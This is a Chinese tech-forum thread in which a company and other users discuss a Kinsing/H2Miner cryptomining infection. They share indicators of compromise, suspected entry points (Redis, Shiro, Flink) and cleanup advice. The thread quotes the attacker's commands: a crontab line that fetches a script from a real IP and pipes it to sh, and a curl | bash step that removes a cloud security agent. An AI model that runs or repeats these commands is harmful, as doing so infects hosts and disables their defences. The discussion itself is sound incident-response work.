这是一个创建于 1441 天前的主题，其中的信息可能已经有所发展或是发生改变。
周六公司服务器被大面积攻击，植入挖矿程序，cpu 被打爆。
怀疑是通过某个开源框架的远程执行漏洞进来的，但不知道是从具体哪个机器进入。
该病毒基本特征：
- 会增加一个 crontab 任务到一个或多个用户。远程下载挖矿脚本到 tmp 目录。
* * * * * wget -q -O - http://185.191.32.198/spr.sh |sh > /dev/null 2>&1 - 启动多个「 kdevtmpfsi 」进程，之后机器 cpu 资源被几乎耗尽。
涉及的服务器很多，v 友们有什么好的分析思路分享吗？
第 1 条附言 2021-11-01 19:28:11 +08:00
谢谢大佬们。
目前能基本定位到第一台被启动挖矿的机器了。但还没法串联起来。因为中招的服务器可能有上百台。
比较关键的 syslog 也被删除了。ssh 远程执行命令没有 last 日志 + command history ，还有办法知道关键命令是怎么执行的吗。。。
目前能基本定位到第一台被启动挖矿的机器了。但还没法串联起来。因为中招的服务器可能有上百台。
比较关键的 syslog 也被删除了。ssh 远程执行命令没有 last 日志 + command history ，还有办法知道关键命令是怎么执行的吗。。。
flink log 特征： 
 | 1 melsp 2021-11-01 12:44:13 +08:00 via Android 我们公司防火墙和服务器也是打了，中了勒索……哎 |
 | 3 sudoy 2021-11-01 13:17:50 +08:00 部署到云服务器会不会好一些 |
 | 4 itemqq 2021-11-01 14:10:53 +08:00  1 之前个人的小鸡上遇到过类似的，是因为 redis 弱密码。。 |
 | 5 LessonOne 2021-11-01 14:11:28 +08:00 这个我们公司的服务器也被植入挖矿病毒 好在只是挖矿而已，处理步骤 先把 网关了 再一个个把相关的进程文件删除 启动项删除 然后改 SSH 端口号 改密码 禁止远程 root 账号登录 |
 | 6 sssbbb 2021-11-01 14:13:43 +08:00 服务器密码是否同一个？ |
| 7 itemqq 2021-11-01 14:13:56 +08:00 |
 | 8 beshe 2021-11-01 14:15:15 +08:00 1 从 ops 和 opsz 用户运行的程序入手查查 |
| 9 sssbbb 2021-11-01 14:15:35 +08:00 shiro 、weblogic 、jboss 、struts2 等等很多的框架漏洞都可以直接拿服务器权限。 |
 | 10 046569 2021-11-01 14:23:05 +08:00 1 有没有单独的日志服务器？如果转发了日志，可以根据日志回溯出攻击者如何攻破防御的。 如果只是网站框架漏洞，一般无法创建多个用户的定时任务，应该考虑是否还存在提权漏洞。 当然具体情况要具体分析，让运维和网安一起工作才是解决之道。 |
 | 11 pixiaotiao 2021-11-01 14:26:14 +08:00 via Android 之前 jenkins 被注入过 后来关了 jenkins |
 | 12 Maco 2021-11-01 15:12:08 +08:00 我们之前的内网服务器被搞过相同的；后来查到原因是一个内网的 Redis 端口，被网管映射到公网 IP 上了，然后这 Redis 还没有密码。。。就被扫了。 |
 | 13 narutots 2021-11-01 15:18:33 +08:00 之前遇到过，彻底清理后，基本原因就是 redis 密码和 shiro 版本 |
 | 14 clf 2021-11-01 15:18:35 +08:00 除了 80 、443 、22 ，还开了什么端口。 |
 | 15 leiuu OP 谢谢各位。redis 漏洞、scrapyd 漏洞、yarn 漏洞目前已知都可能被利用。开源框架果真有利有弊。。。 我再排查一下服务器日志。 另外这个 spr.sh 已经被我捕获到一份。感觉是针对阿里云的。获得权限进去后，先尝试用 curl http://update.aegis.aliyun.com/download/uninstall.sh | bash 卸载阿里云相关的东西。 |
 | 16 0x73346b757234 2021-11-01 16:19:44 +08:00 2 刚大概看了下样本，spr.sh 被放进 crontab 用来定期一顿清理和杀别的进程，清理完最后会下载执行挖矿主体程序“kinsing.elf”。 从清理脚本看应该是有 root 权限，我觉得可以先看看服务器哪些应用是 root 跑的，缩小一下溯源范围。如果没有其他流量层和主机层的日志的话这个比较难去准确溯源调查。 我把关联的 IOC 整理了下，安全同事们看到这里顺便可以在自家的 NIDS/HIDS 里自查一下。 文件 Hash： b099a4454a5ecc566f849747c14dec8accc96128f21cf228790a4b34d3ef1aea 75596a259a6cf7701da23e8220550216a559006acc2b8607aa9b0017e6c293d9 6e25ad03103a1a972b78c642bac09060fa79c460011dc5748cbb433cc459938b IP： 185.191.32.198 194.38.20.199 URL： hxxp://194.38.20.199/kinsing hxxp://194.38.20.199/spr.sh hxxp://194.38.20.199/cron.sh hxxp://185.191.32.198/spr.sh （疑似已失效） |
 | 17 q15158012160 2021-11-01 16:20:20 +08:00 显然是 ops 和 opsz 这两个用户的程序有问题。 建议是关闭外网的 ip ，需要开放公网的时候通过负载均衡映射。 |
 | 18 virusdefender 2021-11-01 16:21:28 +08:00 不能再经典的挖矿了，可以买个主机安全产品检测防护一下。 |
 | 19 WordTian 2021-11-01 16:22:55 +08:00 大概率 redis 对外了 |
| 20 leiuu OP @0x73346b757234 感谢大佬。～～ 很有帮助。 这个 ip 简直一样，请问大佬怎么获取到这个 ip 的。 。 |
| 21 0x73346b757234 2021-11-01 16:39:20 +08:00 @leiuu 噢，是通过一些信息检索找到的。 做安全的可能这块相对熟悉一些，也只是个普通的安全从业者，建议你们部署一些主机安全设备加强防护。 |
 | 22 podel 2021-11-01 18:00:41 +08:00 salt 也有可能。 |
 | 23 chiuan 2021-11-01 18:03:22 +08:00 为什么不用云服务器。 |
 | 25 Rwing 2021-11-01 18:31:19 +08:00 抓紧破案，有结果了辛苦 at 我一下哈 |
 | 26 |
| 27 cc9781 2021-11-01 18:45:24 +08:00 @zhshj98282123 参考下, 如果主机有 web 服务的话, 看下 access 日志 |
 | 31 hefish 2021-11-01 20:32:16 +08:00 居然有用 root 跑的服务。。。 |
 | 32 lamesbond 2021-11-01 21:52:22 +08:00 半年前也中了挖矿病毒，java 服务有漏洞，项目里的 shiro 和 databind 的版本太低了，后来更新版本后就好了。建议上 waf ，waf 会直接告诉你哪里有漏洞。 看看访问日志里有没有不正常的访问记录，我当时把 ip 一搜显示被举报的 ip |
 | 33 tiedan 2021-11-01 21:59:08 +08:00 hadoop? |
 | 34 SuperShuYe 2021-11-01 22:43:49 +08:00 @melsp 我们最近也是 lockbit |
 | 35 icepie 2021-11-01 23:18:17 +08:00 经历过一样的事情, 只因为 docker 开放了个端口出去 |
 | 36 Borch 2021-11-01 23:21:52 +08:00 上百台服务器...服务器这么多公司都没有招安全类的工程师吗，搞个安全部门，平时渗透测试下 |
 | 37 LudwigWS 2021-11-02 08:04:35 +08:00 via iPhone 如果是 Windows 能一键恢复就好了 |
 | 38 Eytoyes 2021-11-02 08:41:53 +08:00 我个人思路的话： 1 、先把几个挖矿地址 ban 掉或者视情况把防火墙设置为国内访问，然后解除高占用进程，恢复服务； 2 、搭个测试环境，运行挖矿脚本，还原入侵过程 3 、根据入侵过程把对应的漏洞补上，根据脚本内容清理对应挖矿产生的文件 本人半路出家的，不知道正规处理是怎么个方式？ |
| 39 0x73346b757234 2021-11-02 10:01:50 +08:00 更新： 重新尝试分析了一下 kinsing ，发现与 H2Miner 黑产的样本高度相似。 腾讯安全同事去年分析过 H2Miner： https://s.tencent.com/research/report/976.html 你们这个应该跟这个基本上差不多，只是样本多了些别的功能，比如多了对 F5 RCE 漏洞的支持。 |
 | 40 408ss 2021-11-02 10:03:17 +08:00 你们公司需要一些安全防护产品 |
 | 41 推荐一下我们出的开源的 HIDS ，可以监控入侵行为 https://github.com/bytedance/Elkeid |
 | 44 dier 2021-11-02 17:33:52 +08:00 我们的是周末 gitlab 版本太老，有漏洞导致 gitlab 的容器被入侵。不过还好只是在容器内部，销毁当前容器重建就好了。然后连夜一路长征升级到了最新版本 |
| 47 leiuu OP @0x73346b757234 thx 。分享的腾讯系列的文章有帮助。排查了一下这次是利用了 flink 漏洞。补充到附言啦。 |
| 48 leiuu OP 1 结帖了。最终发现病毒进一步扩散的主要原因是，是私钥被其他人误操作复制到多台机器，该私钥权限机器很多。 /td> |
 | 49 abychan 2021-11-10 21:46:27 +08:00 9 天前我的服务器也被攻击了，http://185.191.32.198/pg.sh ，顺着这个地址找过来了，原因是 postgres 密码被暴力破解 |
 | 51 loveminds 2021-12-02 06:43:53 +08:00 inetnum: 185.191.32.0 - 185.191.33.255 netname: RU-ITRESHENIYA country: RU org: ORG-ITR1-RIPE admin-c: ITR30-RIPE tech-c: ITR30-RIPE status: ASSIGNED PA mnt-by: IP-RIPE mnt-routes: MNT-SELECTEL created: 2020-07-20T05:54:06Z last-modified: 2021-10-05T19:15:11Z source: RIPE organisation: ORG-ITR1-RIPE org-name: IT Resheniya LLC org-type: OTHER address: ul. Novoselov, d. 8A, of. 692 address: 193079 Saint Petersburg address: Russia abuse-c: ITR30-RIPE mnt-ref: IP-RIPE mnt-by: IP-RIPE created: 2021-10-05T19:08:37Z last-modified: 2021-10-05T19:15:03Z source: RIPE # Filtered role: IT Resheniya LLC address: ul. Novoselov, d. 8A, of. 692 address: 193079 Saint Petersburg address: Russia abuse-mailbox: abuse(AT)hostway.ru phone: +7 903 2712822 nic-hdl: ITR30-RIPE mnt-by: IP-RIPE created: 2021-10-05T19:08:38Z last-modified: 2021-10-05T19:08:38Z source: RIPE # Filtered 直接给 abuse(AT)hostway.ru 丢 abuse ，或者这里提交个工单看看？ https://billing.hostway.ru/index.php?/tickets/&roistat_visit=16278 |
Select Language